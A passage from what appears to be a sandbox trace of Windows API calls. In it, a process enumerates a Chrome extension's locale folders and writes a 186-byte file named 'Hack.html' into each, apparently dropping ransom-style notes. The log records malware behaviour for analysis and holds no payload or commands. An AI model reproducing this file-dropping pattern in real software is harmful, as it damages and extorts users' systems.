lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x8a [0072.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.668] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.668] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpFilePart=0x0) returned 0x89 [0072.668] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x8a [0072.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.669] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.669] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.670] GetFileType (hFile=0x174) returned 0x1 [0072.670] GetFileType (hFile=0x174) returned 0x1 [0072.670] WriteFile (in: hFile=0x174, lpBuffer=0x26d5dc4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26d5dc4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.671] CloseHandle (hObject=0x174) returned 1 [0072.671] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpFilePart=0x0) returned 0x89 [0072.671] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x8a [0072.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.672] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.672] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpFilePart=0x0) returned 0x89 [0072.672] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x8a [0072.672] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.673] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.673] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.673] GetFileType (hFile=0x174) returned 0x1 [0072.674] GetFileType (hFile=0x174) returned 0x1 [0072.674] WriteFile (in: hFile=0x174, lpBuffer=0x26db374*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26db374*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.675] CloseHandle (hObject=0x174) returned 1 [0072.675] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpFilePart=0x0) returned 0x89 [0072.676] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x8a [0072.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.677] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.678] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpFilePart=0x0) returned 0x89 [0072.678] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x8a [0072.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.679] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.679] GetFileType (hFile=0x174) returned 0x1 [0072.680] GetFileType (hFile=0x174) returned 0x1 [0072.680] WriteFile (in: hFile=0x174, lpBuffer=0x26e0924*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26e0924*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.681] CloseHandle (hObject=0x174) returned 1 [0072.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpFilePart=0x0) returned 0x89 [0072.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x8a [0072.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.682] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.683] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpFilePart=0x0) returned 0x89 [0072.683] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x8a [0072.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.683] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.684] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.684] GetFileType (hFile=0x174) returned 0x1 [0072.684] GetFileType (hFile=0x174) returned 0x1 [0072.684] WriteFile (in: hFile=0x174, lpBuffer=0x26e5ed4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26e5ed4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.685] CloseHandle (hObject=0x174) returned 1 [0072.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpFilePart=0x0) returned 0x89 [0072.686] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x8a [0072.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.688] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpFilePart=0x0) returned 0x89 [0072.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x8a [0072.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.689] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.690] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.690] GetFileType (hFile=0x174) returned 0x1 [0072.690] GetFileType (hFile=0x174) returned 0x1 [0072.690] WriteFile (in: hFile=0x174, lpBuffer=0x26eb484*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26eb484*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.691] CloseHandle (hObject=0x174) returned 1 [0072.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpFilePart=0x0) returned 0x89 [0072.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\", lpFilePart=0x0) returned 0x8a [0072.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.693] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpFilePart=0x0) returned 0x89 [0072.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\", lpFilePart=0x0) returned 0x8a [0072.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a228 [0072.693] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0072.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.694] GetFileType (hFile=0x174) returned 0x1 [0072.694] GetFileType (hFile=0x174) returned 0x1 [0072.694] WriteFile (in: hFile=0x174, lpBuffer=0x26f0a34*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x26f0a34*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0072.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpFilePart=0x0) returned 0x89 [0072.696] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\", lpFilePart=0x0) returned 0x8a [0072.696] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 